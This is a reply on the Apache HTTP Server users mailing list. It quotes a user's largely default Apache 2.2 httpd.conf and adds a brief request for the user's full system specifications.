> LoadModule expires_module modules/mod_expires.so
> LoadModule deflate_module modules/mod_deflate.so
> LoadModule headers_module modules/mod_headers.so
>LoadModule usertrack_module modules/mod_usertrack.so
> LoadModule setenvif_module modules/mod_setenvif.so
> LoadModule mime_module modules/mod_mime.so
> LoadModule dav_module modules/mod_dav.so
> LoadModule status_module modules/mod_status.so
> LoadModule autoindex_module modules/mod_autoindex.so
> LoadModule info_module modules/mod_info.so
> LoadModule dav_fs_module modules/mod_dav_fs.so
> LoadModule vhost_alias_module modules/mod_vhost_alias.so
> LoadModule negotiation_module modules/mod_negotiation.so
> LoadModule dir_module modules/mod_dir.so
> LoadModule actions_module modules/mod_actions.so
> LoadModule speling_module modules/mod_speling.so
> LoadModule userdir_module modules/mod_userdir.so
> LoadModule alias_module modules/mod_alias.so
> LoadModule rewrite_module modules/mod_rewrite.so
> LoadModule proxy_module modules/mod_proxy.so
> LoadModule proxy_balancer_module modules/mod_proxy_balancer.so
> LoadModule proxy_ftp_module modules/mod_proxy_ftp.so
> LoadModule proxy_http_module modules/mod_proxy_http.so
> LoadModule proxy_connect_module modules/mod_proxy_connect.so
> LoadModule cache_module modules/mod_cache.so
> LoadModule suexec_module modules/mod_suexec.so
> LoadModule disk_cache_module modules/mod_disk_cache.so
> LoadModule cgi_module modules/mod_cgi.so
>
> #
> # The following modules are not loaded by default:
> #
> #LoadModule cern_meta_module modules/mod_cern_meta.so
> #LoadModule asis_module modules/mod_asis.so
>
> #
> # Load config files from the config directory "/etc/httpd/conf.d".
> #
> Include conf.d/*.conf
>
> #
> # ExtendedStatus controls whether Apache will generate "full" status
> # information (ExtendedStatus On) or just basic information (ExtendedStatus
> # Off) when the "server-status" handler is called. The default is Off.
> #
> ExtendedStatus On
>
> #
> # If you wish httpd to run as a different user or group, you must run
> # httpd as root initially and it will switch.
> #
> # User/Group: The name (or #number) of the user/group to run httpd as.
> #  . On SCO (ODT 3) use "User nouser" and "Group nogroup".
> #  . On HPUX you may not be able to use shared memory as nobody, and the
> #    suggested workaround is to create a user www and use that user.
> #  NOTE that some kernels refuse to setgid(Group) or semctl(IPC_SET)
> #  when the value of (unsigned)Group is above 60000;
> #  don't use Group #-1 on these systems!
> #
> User apache
> Group apache
>
> ### Section 2: 'Main' server configuration
> #
> # The directives in this section set up the values used by the 'main'
> # server, which responds to any requests that aren't handled by a
> # <VirtualHost> definition.  These values also provide defaults for
> # any <VirtualHost> containers you may define later in the file.
> #
> # All of these directives may appear inside <VirtualHost> containers,
> # in which case these default settings will be overridden for the
> # virtual host being defined.
> #
>
> #
> # ServerAdmin: Your address, where problems with the server should be
> # e-mailed.  This address appears on some server-generated pages, such
> # as error documents.  e.g. admin@your-domain.com
> #
> ServerAdmin dan.bunyard@att.net
>
> #
> # ServerName gives the name and port that the server uses to identify
> itself.
> # This can often be determined automatically, but we recommend you specify
> # it explicitly to prevent problems during startup.
> #
> # If this is not set to valid DNS name for your host, server-generated
> # redirections will not work.  See also the UseCanonicalName directive.
> #
> # If your host doesn't have a registered DNS name, enter its IP address
> here.
> # You will have to access it by its address anyway, and this will make
> # redirections work in a sensible way.
> #
> ServerName server.danodemano.com:80
>
> #
> # UseCanonicalName: Determines how Apache constructs self-referencing
> # URLs and the SERVER_NAME and SERVER_PORT variables.
> # When set "Off", Apache will use the Hostname and Port supplied
> # by the client.  When set "On", Apache will use the value of the
> # ServerName directive.
> #
> UseCanonicalName Off
>
> #
> # DocumentRoot: The directory out of which you will serve your
> # documents. By default, all requests are taken from this directory, but
> # symbolic links and aliases may be used to point to other locations.
> #
> DocumentRoot "/var/www/html"
>
> #
> # Each directory to which Apache has access can be configured with respect
> # to which services and features are allowed and/or disabled in that
> # directory (and its subdirectories).
> #
> # First, we configure the "default" to be a very restrictive set of
> # features.
> #
> <Directory />
>    Options FollowSymLinks
>    AllowOverride None
> </Directory>
>
> #
> # Note that from this point forward you must specifically allow
> # particular features to be enabled - so if something's not working as
> # you might expect, make sure that you have specifically enabled it
> # below.
> #
>
> #
> # This should be changed to whatever you set DocumentRoot to.
> #
> <Directory "/var/www/html">
>
> #
> # Possible values for the Options directive are "None", "All",
> # or any combination of:
> #   Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews
> #
> # Note that "MultiViews" must be named *explicitly* --- "Options All"
> # doesn't give it to you.
> #
> # The Options directive is both complicated and important.  Please see
> # http://httpd.apache.org/docs/2.2/mod/core.html#options
> # for more information.
> #
>    Options Indexes FollowSymLinks
>
> #
> # AllowOverride controls what directives may be placed in .htaccess files.
> # It can be "All", "None", or any combination of the keywords:
> #   Options FileInfo AuthConfig Limit
> #
>    AllowOverride All
>
> #
> # Controls who can get stuff from this server.
> #
>    Order allow,deny
>    Allow from all
>
> </Directory>
>
> #Allow access to firestats images
> <Directory /var/www/html/firestats/img>
>    AllowOverride None
> </Directory>
>
> #
> # UserDir: The name of the directory that is appended onto a user's home
> # directory if a ~user request is received.
> #
> # The path to the end user account 'public_html' directory must be
> # accessible to the webserver userid.  This usually means that ~userid
> # must have permissions of 711, ~userid/public_html must have permissions
> # of 755, and documents contained therein must be world-readable.
> # Otherwise, the client will only receive a "403 Forbidden" message.
> #
> # See also: http://httpd.apache.org/docs/misc/FAQ.html#forbidden
> #
> <IfModule mod_userdir.c>
>    #
>    # UserDir is disabled by default since it can confirm the presence
>    # of a username on the system (depending on home directory
>    # permissions).
>    #
>    UserDir disabled
>
>    #
>    # To enable requests to /~user/ to serve the user's public_html
>    # directory, remove the "UserDir disabled" line above, and uncomment
>    # the following line instead:
>    #
>    #UserDir public_html
>
> </IfModule>
>
> #
> # Control access to UserDir directories.  The following is an example
> # for a site where these directories are restricted to read-only.
> #
> #<Directory /home/*/public_html>
> #    AllowOverride FileInfo AuthConfig Limit
> #    Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec
> #    <Limit GET POST OPTIONS>
> #        Order allow,deny
> #        Allow from all
> #    </Limit>
> #    <LimitExcept GET POST OPTIONS>
> #        Order deny,allow
> #        Deny from all
> #    </LimitExcept>
> #</Directory>
>
> #
> # DirectoryIndex: sets the file that Apache will serve if a directory
> # is requested.
> #
> # The index.html.var file (a type-map) is used to deliver content-
> # negotiated documents.  The MultiViews Option can be used for the
> # same purpose, but it is much slower.
> #
> DirectoryIndex index.html index.html.var
>
> #
> # AccessFileName: The name of the file to look for in each directory
> # for additional configuration directives.  See also the AllowOverride
> # directive.
> #
> AccessFileName .htaccess
>
> #
> # The following lines prevent .htaccess and .htpasswd files from being
> # viewed by Web clients.
> #
> <Files ~ "^\.ht">
>    Order allow,deny
>    Deny from all
> </Files>
>
> #
> # TypesConfig describes where the mime.types file (or equivalent) is
> # to be found.
> #
> TypesConfig /etc/mime.types
>
> #
> # DefaultType is the default MIME type the server will use for a document
> # if it cannot otherwise determine one, such as from filename extensions.
> # If your server contains mostly text or HTML documents, "text/plain" is
> # a good value.  If most of your content is binary, such as applications
> # or images, you may want to use "application/octet-stream" instead to
> # keep browsers from trying to display binary files as though they are
> # text.
> #
> DefaultType text/plain
>
> #
> # The mod_mime_magic module allows the server to use various hints from the
> # contents of the file itself to determine its type.  The MIMEMagicFile
> # directive tells the module where the hint definitions are located.
> #
> <IfModule mod_mime_magic.c>
> #   MIMEMagicFile /usr/share/magic.mime
>    MIMEMagicFile conf/magic
> </IfModule>
>
> #
> # HostnameLookups: Log the names of clients or just their IP addresses
> # e.g., www.apache.org (on) or 204.62.129.132 (off).
> # The default is off because it'd be overall better for the net if people
> # had to knowingly turn this feature on, since enabling it means that
> # each client request will result in AT LEAST one lookup request to the
> # nameserver.
> #
> HostnameLookups Off
>
> #
> # EnableMMAP: Control whether memory-mapping is used to deliver
> # files (assuming that the underlying OS supports it).
> # The default is on; turn this off if you serve from NFS-mounted
> # filesystems.  On some systems, turning it off (regardless of
> # filesystem) can improve performance; for details, please see
> # http://httpd.apache.org/docs/2.2/mod/core.html#enablemmap
> #
> #EnableMMAP off
>
> #
> # EnableSendfile: Control whether the sendfile kernel support is
> # used to deliver files (assuming that the OS supports it).
> # The default is on; turn this off if you serve from NFS-mounted
> # filesystems.  Please see
> # http://httpd.apache.org/docs/2.2/mod/core.html#enablesendfile
> #
> #EnableSendfile off
>
> #
> # ErrorLog: The location of the error log file.
> # If you do not specify an ErrorLog directive within a <VirtualHost>
> # container, error messages relating to that virtual host will be
> # logged here.  If you *do* define an error logfile for a <VirtualHost>
> # container, that host's errors will be logged there and not here.
> #
> ErrorLog logs/error_log
>
> #
> # LogLevel: Control the number of messages logged to the error_log.
> # Possible values include: debug, info, notice, warn, error, crit,
> # alert, emerg.
> #
> LogLevel warn
>
> #
> # The following directives define some format nicknames for use with
> # a CustomLog directive (see below).
> #
> LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\""
> combined
> LogFormat "%h %l %u %t \"%r\" %>s %b" common
> LogFormat "%{Referer}i -> %U" referer
> LogFormat "%{User-agent}i" agent
>
> # "combinedio" includes actual counts of actual bytes received (%I) and sent
> (%O); this
> # requires the mod_logio module to be loaded.
> #LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" %I
> %O" combinedio
>
> #
> # The location and format of the access logfile (Common Logfile Format).
> # If you do not define any access logfiles within a <VirtualHost>
> # container, they will be logged here.  Contrariwise, if you *do*
> # define per-<VirtualHost> access logfiles, transactions will be
> # logged therein and *not* in this file.
> #
> #CustomLog logs/access_log common
>
> #
> # If you would like to have separate agent and referer logfiles, uncomment
> # the following directives.
> #
> #CustomLog logs/referer_log referer
> #CustomLog logs/agent_log agent
>
> #
> # For a single logfile with access, agent, and referer information
> # (Combined Logfile Format), use the following directive:
> #
> CustomLog logs/access_log combined
>
> #
> # Optionally add a line containing the server version and virtual host
> # name to server-generated pages (internal error documents, FTP directory
> # listings, mod_status and mod_info output etc., but not CGI generated
> # documents or custom error documents).
> # Set to "EMail" to also include a mailto: link to the ServerAdmin.
> # Set to one of:  On | Off | EMail
> #
> ServerSignature On
>
> #
> # Aliases: Add here as many aliases as you need (with no limit). The format
> is
> # Alias fakename realname
> #
> # Note that if you include a trailing / on fakename then the server will
> # require it to be present in the URL.  So "/icons" isn't aliased in this
> # example, only "/icons/".  If the fakename is slash-terminated, then the
> # realname must also be slash terminated, and if the fakename omits the
> # trailing slash, the realname must also omit it.
> #
> # We include the /icons/ alias for FancyIndexed directory listings.  If you
> # do not use FancyIndexing, you may comment this out.
> #
> Alias /icons/ "/var/www/icons/"
>
> <Directory "/var/www/icons">
>    Options Indexes MultiViews FollowSymLinks
>    AllowOverride None
>    Order allow,deny
>    Allow from all
> </Directory>
>
> #
> # WebDAV module configuration section.
> #
> <IfModule mod_dav_fs.c>
>    # Location of the WebDAV lock database.
>    DAVLockDB /var/lib/dav/lockdb
> </IfModule>
>
> #
> # ScriptAlias: This controls which directories contain server scripts.
> # ScriptAliases are essentially the same as Aliases, except that
> # documents in the realname directory are treated as applications and
> # run by the server when requested rather than as documents sent to the
> client.
> # The same rules about trailing "/" apply to ScriptAlias directives as to
> # Alias.
> #
> ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"
>
> #
> # "/var/www/cgi-bin" should be changed to whatever your ScriptAliased
> # CGI directory exists, if you have that configured.
> #
> <Directory "/var/www/cgi-bin">
>    AllowOverride None
>    Options None
>    Order allow,deny
>    Allow from all
> </Directory>
>
> #
> # Redirect allows you to tell clients about documents which used to exist in
> # your server's namespace, but do not anymore. This allows you to tell the
> # clients where to look for the relocated document.
> # Example:
> # Redirect permanent /foo http://www.example.com/bar
>
> #
> # Directives controlling the display of server-generated directory listings.
> #
>
> #
> # IndexOptions: Controls the appearance of server-generated directory
> # listings.
> #
> IndexOptions FancyIndexing VersionSort NameWidth=* HTMLTable Charset=UTF-8
>
> #
> # AddIcon* directives tell the server which icon to show for different
> # files or filename extensions.  These are only displayed for
> # FancyIndexed directories.
> #
> AddIconByEncoding (CMP,/icons/compressed.gif) x-compress x-gzip
>
> AddIconByType (TXT,/icons/text.gif) text/*
> AddIconByType (IMG,/icons/image2.gif) image/*
> AddIconByType (SND,/icons/sound2.gif) audio/*
> AddIconByType (VID,/icons/movie.gif) video/*
>
> AddIcon /icons/binary.gif .bin .exe
> AddIcon /icons/binhex.gif .hqx
> AddIcon /icons/tar.gif .tar
> AddIcon /icons/world2.gif .wrl .wrl.gz .vrml .vrm .iv
> AddIcon /icons/compressed.gif .Z .z .tgz .gz .zip
> AddIcon /icons/a.gif .ps .ai .eps
> AddIcon /icons/layout.gif .html .shtml .htm .pdf
> AddIcon /icons/text.gif .txt
> AddIcon /icons/c.gif .c
> AddIcon /icons/p.gif .pl .py
> AddIcon /icons/f.gif .for
> AddIcon /icons/dvi.gif .dvi
> AddIcon /icons/uuencoded.gif .uu
> AddIcon /icons/script.gif .conf .sh .shar .csh .ksh .tcl
> AddIcon /icons/tex.gif .tex
> AddIcon /icons/bomb.gif core
>
> AddIcon /icons/back.gif ..
> AddIcon /icons/hand.right.gif README
> AddIcon /icons/folder.gif ^^DIRECTORY^^
> AddIcon /icons/blank.gif ^^BLANKICON^^
>
> #
> # DefaultIcon is which icon to show for files which do not have an icon
> # explicitly set.
> #
> DefaultIcon /icons/unknown.gif
>
> #
> # AddDescription allows you to place a short description after a file in
> # server-generated indexes.  These are only displayed for FancyIndexed
> # directories.
> # Format: AddDescription "description" filename
> #
> #AddDescription "GZIP compressed document" .gz
> #AddDescription "tar archive" .tar
> #AddDescription "GZIP compressed tar archive" .tgz
>
> #
> # ReadmeName is the name of the README file the server will look for by
> # default, and append to directory listings.
> #
> # HeaderName is the name of a file which should be prepended to
> # directory indexes.
> ReadmeName README.html
> HeaderName HEADER.html
>
> #
> # IndexIgnore is a set of filenames which directory indexing should ignore
> # and not include in the listing.  Shell-style wildcarding is permitted.
> #
> IndexIgnore .??* *~ *# HEADER* README* RCS CVS *,v *,t
>
> #
> # DefaultLanguage and AddLanguage allows you to specify the language of
> # a document. You can then use content negotiation to give a browser a
> # file in a language the user can understand.
> #
> # Specify a default language. This means that all data
> # going out without a specific language tag (see below) will
> # be marked with this one. You probably do NOT want to set
> # this unless you are sure it is correct for all cases.
> #
> # * It is generally better to not mark a page as
> # * being a certain language than marking it with the wrong
> # * language!
> #
> # DefaultLanguage nl
> #
> # Note 1: The suffix does not have to be the same as the language
> # keyword --- those with documents in Polish (whose net-standard
> # language code is pl) may wish to use "AddLanguage pl .po" to
> # avoid the ambiguity with the common suffix for perl scripts.
> #
> # Note 2: The example entries below illustrate that in some cases
> # the two character 'Language' abbreviation is not identical to
> # the two character 'Country' code for its country,
> # E.g. 'Danmark/dk' versus 'Danish/da'.
> #
> # Note 3: In the case of 'ltz' we violate the RFC by using a three char
> # specifier. There is 'work in progress' to fix this and get
> # the reference data for rfc1766 cleaned up.
> #
> # Catalan (ca) - Croatian (hr) - Czech (cs) - Danish (da) - Dutch (nl)
> # English (en) - Esperanto (eo) - Estonian (et) - French (fr) - German (de)
> # Greek-Modern (el) - Hebrew (he) - Italian (it) - Japanese (ja)
> # Korean (ko) - Luxembourgeois* (ltz) - Norwegian Nynorsk (nn)
> # Norwegian (no) - Polish (pl) - Portugese (pt)
> # Brazilian Portuguese (pt-BR) - Russian (ru) - Swedish (sv)
> # Simplified Chinese (zh-CN) - Spanish (es) - Traditional Chinese (zh-TW)
> #
> AddLanguage ca .ca
> AddLanguage cs .cz .cs
> AddLanguage da .dk
> AddLanguage de .de
> AddLanguage el .el
> AddLanguage en .en
> AddLanguage eo .eo
> AddLanguage es .es
> AddLanguage et .et
> AddLanguage fr .fr
> AddLanguage he .he
> AddLanguage hr .hr
> AddLanguage it .it
> AddLanguage ja .ja
> AddLanguage ko .ko
> AddLanguage ltz .ltz
> AddLanguage nl .nl
> AddLanguage nn .nn
> AddLanguage no .no
> AddLanguage pl .po
> AddLanguage pt .pt
> AddLanguage pt-BR .pt-br
> AddLanguage ru .ru
> AddLanguage sv .sv
> AddLanguage zh-CN .zh-cn
> AddLanguage zh-TW .zh-tw
>
> #
> # LanguagePriority allows you to give precedence to some languages
> # in case of a tie during content negotiation.
> #
> # Just list the languages in decreasing order of preference. We have
> # more or less alphabetized them here. You probably want to change this.
> #
> LanguagePriority en ca cs da de el eo es et fr he hr it ja ko ltz nl nn no
> pl pt pt-BR ru sv zh-CN zh-TW
>
> #
> # ForceLanguagePriority allows you to serve a result page rather than
> # MULTIPLE CHOICES (Prefer) [in case of a tie] or NOT ACCEPTABLE (Fallback)
> # [in case no accepted languages matched the available variants]
> #
> ForceLanguagePriority Prefer Fallback
>
> #
> # Specify a default charset for all content served; this enables
> # interpretation of all content as UTF-8 by default.  To use the
> # default browser choice (ISO-8859-1), or to allow the META tags
> # in HTML content to override this choice, comment out this
> # directive:
> #
> AddDefaultCharset UTF-8
>
> #
> # AddType allows you to add to or override the MIME configuration
> # file mime.types for specific file types.
> #
> #AddType application/x-tar .tgz
>
> #
> # AddEncoding allows you to have certain browsers uncompress
> # information on the fly. Note: Not all browsers support this.
> # Despite the name similarity, the following Add* directives have nothing
> # to do with the FancyIndexing customization directives above.
> #
> #AddEncoding x-compress .Z
> #AddEncoding x-gzip .gz .tgz
>
> # If the AddEncoding directives above are commented-out, then you
> # probably should define those extensions to indicate media types:
> #
> AddType application/x-compress .Z
> AddType application/x-gzip .gz .tgz
>
> #
> #   MIME-types for downloading Certificates and CRLs
> #
> AddType application/x-x509-ca-cert .crt
> AddType application/x-pkcs7-crl    .crl
>
> #
> # AddHandler allows you to map certain file extensions to "handlers":
> # actions unrelated to filetype. These can be either built into the server
> # or added with the Action directive (see below)
> #
> # To use CGI scripts outside of ScriptAliased directories:
> # (You will also need to add "ExecCGI" to the "Options" directive.)
> #
> #AddHandler cgi-script .cgi
>
> #
> # For files that include their own HTTP headers:
> #
> #AddHandler send-as-is asis
>
> #
> # For type maps (negotiated resources):
> # (This is enabled by default to allow the Apache "It Worked" page
> #  to be distributed in multiple languages.)
> #
> AddHandler type-map var
>
> #
> # Filters allow you to process content before it is sent to the client.
> #
> # To parse .shtml files for server-side includes (SSI):
> # (You will also need to add "Includes" to the "Options" directive.)
> #
> AddType text/html .shtml
> AddOutputFilter INCLUDES .shtml
>
> #
> # Action lets you define media types that will execute a script whenever
> # a matching file is called. This eliminates the need for repeated URL
> # pathnames for oft-used CGI file processors.
> # Format: Action media/type /cgi-script/location
> # Format: Action handler-name /cgi-script/location
> #
>
> #
> # Customizable error responses come in three flavors:
> # 1) plain text 2) local redirects 3) external redirects
> #
> # Some examples:
> #ErrorDocument 500 "The server made a boo boo."
> #ErrorDocument 404 /missing.html
> #ErrorDocument 404 "/cgi-bin/missing_handler.pl"
> #ErrorDocument 402 http://www.example.com/subscription_info.html
> #
>
> #
> # Putting this all together, we can internationalize error responses.
> #
> # We use Alias to redirect any /error/HTTP_<error>.html.var response to
> # our collection of by-error message multi-language collections.  We use
> # includes to substitute the appropriate text.
> #
> # You can modify the messages' appearance without changing any of the
> # default HTTP_<error>.html.var files by adding the line:
> #
> #   Alias /error/include/ "/your/include/path/"
> #
> # which allows you to create your own set of files by starting with the
> # /var/www/error/include/ files and
> # copying them to /your/include/path/, even on a per-VirtualHost basis.
> #
>
> Alias /error/ "/var/www/error/"
>
> <IfModule mod_negotiation.c>
> <IfModule mod_include.c>
>    <Directory "/var/www/error">
>        AllowOverride None
>        Options IncludesNoExec
>        AddOutputFilter Includes html
>        AddHandler type-map var
>        Order allow,deny
>        Allow from all
>        LanguagePriority en es de fr
>        ForceLanguagePriority Prefer Fallback
>    </Directory>
>
> #    ErrorDocument 400 /error/HTTP_BAD_REQUEST.html.var
> #    ErrorDocument 401 /error/HTTP_UNAUTHORIZED.html.var
> #    ErrorDocument 403 /error/HTTP_FORBIDDEN.html.var
> #    ErrorDocument 404 /error/HTTP_NOT_FOUND.html.var
> #    ErrorDocument 405 /error/HTTP_METHOD_NOT_ALLOWED.html.var
> #    ErrorDocument 408 /error/HTTP_REQUEST_TIME_OUT.html.var
> #    ErrorDocument 410 /error/HTTP_GONE.html.var
> #    ErrorDocument 411 /error/HTTP_LENGTH_REQUIRED.html.var
> #    ErrorDocument 412 /error/HTTP_PRECONDITION_FAILED.html.var
> #    ErrorDocument 413 /error/HTTP_REQUEST_ENTITY_TOO_LARGE.html.var
> #    ErrorDocument 414 /error/HTTP_REQUEST_URI_TOO_LARGE.html.var
> #    ErrorDocument 415 /error/HTTP_UNSUPPORTED_MEDIA_TYPE.html.var
> #    ErrorDocument 500 /error/HTTP_INTERNAL_SERVER_ERROR.html.var
> #    ErrorDocument 501 /error/HTTP_NOT_IMPLEMENTED.html.var
> #    ErrorDocument 502 /error/HTTP_BAD_GATEWAY.html.var
> #    ErrorDocument 503 /error/HTTP_SERVICE_UNAVAILABLE.html.var
> #    ErrorDocument 506 /error/HTTP_VARIANT_ALSO_VARIES.html.var
>
> </IfModule>
> </IfModule>
>
> #
> # The following directives modify normal HTTP response behavior to
> # handle known problems with browser implementations.
> #
> BrowserMatch "Mozilla/2" nokeepalive
> BrowserMatch "MSIE 4\.0b2;" nokeepalive downgrade-1.0 force-response-1.0
> BrowserMatch "RealPlayer 4\.0" force-response-1.0
> BrowserMatch "Java/1\.0" force-response-1.0
> BrowserMatch "JDK/1\.0" force-response-1.0
>
> #
> # The following directive disables redirects on non-GET requests for
> # a directory that does not include the trailing slash.  This fixes a
> # problem with Microsoft WebFolders which does not appropriately handle
> # redirects for folders with DAV methods.
> # Same deal with Apple's DAV filesystem and Gnome VFS support for DAV.
> #
> BrowserMatch "Microsoft Data Access Internet Publishing Provider"
> redirect-carefully
> BrowserMatch "MS FrontPage" redirect-carefully
> BrowserMatch "^WebDrive" redirect-carefully
> BrowserMatch "^WebDAVFS/1.[0123]" redirect-carefully
> BrowserMatch "^gnome-vfs/1.0" redirect-carefully
> BrowserMatch "^XML Spy" redirect-carefully
> BrowserMatch "^Dreamweaver-WebDAV-SCM1" redirect-carefully
>
> #
> # Allow server status reports generated by mod_status,
> # with the URL of http://servername/server-status
> # Change the ".example.com" to match your domain to enable.
> #
> #<Location /server-status>
> #    SetHandler server-status
> #    Order deny,allow
> #    Deny from all
> #    Allow from .example.com
> #</Location>
>
> #
> # Allow remote server configuration reports, with the URL of
> #  http://servername/server-info (requires that mod_info.c be loaded).
> # Change the ".example.com" to match your domain to enable.
> #
> #<Location /server-info>
> #    SetHandler server-info
> #    Order deny,allow
> #    Deny from all
> #    Allow from .example.com
> #</Location>
>
> #
> # Proxy Server directives. Uncomment the following lines to
> # enable the proxy server:
> #
> #<IfModule mod_proxy.c>
> #ProxyRequests On
> #
> #<Proxy *>
> #    Order deny,allow
> #    Deny from all
> #    Allow from .example.com
> #</Proxy>
>
> #
> # Enable/disable the handling of HTTP/1.1 "Via:" headers.
> # ("Full" adds the server version; "Block" removes all outgoing Via:
> headers)
> # Set to one of: Off | On | Full | Block
> #
> #ProxyVia On
>
> #
> # To enable a cache of proxied content, uncomment the following lines.
> # See http://httpd.apache.org/docs/2.2/mod/mod_cache.html for more details.
> #
> #<IfModule mod_disk_cache.c>
> #   CacheEnable disk /
> #   CacheRoot "/var/cache/mod_proxy"
> #</IfModule>
> #
>
> #</IfModule>
> # End of proxy directives.
>
> ### Section 3: Virtual Hosts
> #
> # VirtualHost: If you want to maintain multiple domains/hostnames on your
> # machine you can setup VirtualHost containers for them. Most configurations
> # use only name-based virtual hosts so the server doesn't need to worry
> about
> # IP addresses. This is indicated by the asterisks in the directives below.
> #
> # Please see the documentation at
> # <URL:http://httpd.apache.org/docs/2.2/vhosts/>
> # for further details before you try to setup virtual hosts.
> #
> # You may use the command line option '-S' to verify your virtual host
> # configuration.
>
> #
> # Use name-based virtual hosting.
> #
> NameVirtualHost *:80
> #
> # NOTE: NameVirtualHost cannot be used without a port specifier
> # (e.g. :80) if mod_ssl is being used, due to the nature of the
> # SSL protocol.
> #
>
> #
> # VirtualHost example:
> # Almost any Apache directive may go into a VirtualHost container.
> # The first VirtualHost section is used for requests without a known
> # server name.
> #
> #<VirtualHost *:80>
> #    ServerAdmin webmaster@dummy-host.example.com
> #    DocumentRoot /www/docs/dummy-host.example.com
> #    ServerName dummy-host.example.com
> #    ErrorLog logs/dummy-host.example.com-error_log
> #    CustomLog logs/dummy-host.example.com-access_log common
> #</VirtualHost>
>
> <!--Snipped all my virtual hosts to cut down on message size, they are in
> the conf-->
>



>
> ---------------------------------------------------------------------
> The official User-To-User support forum of the Apache HTTP Server Project.
> See <URL:http://httpd.apache.org/userslist.html> for more info.
> To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
>   "   from the digest: users-digest-unsubscribe@httpd.apache.org
> For additional commands, e-mail: users-help@httpd.apache.org

Dan,

Can you provide your full system specs.  A Dual Core machine can be a dual P100.

Thanks,
Daniel 


---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
   "   from the digest: users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org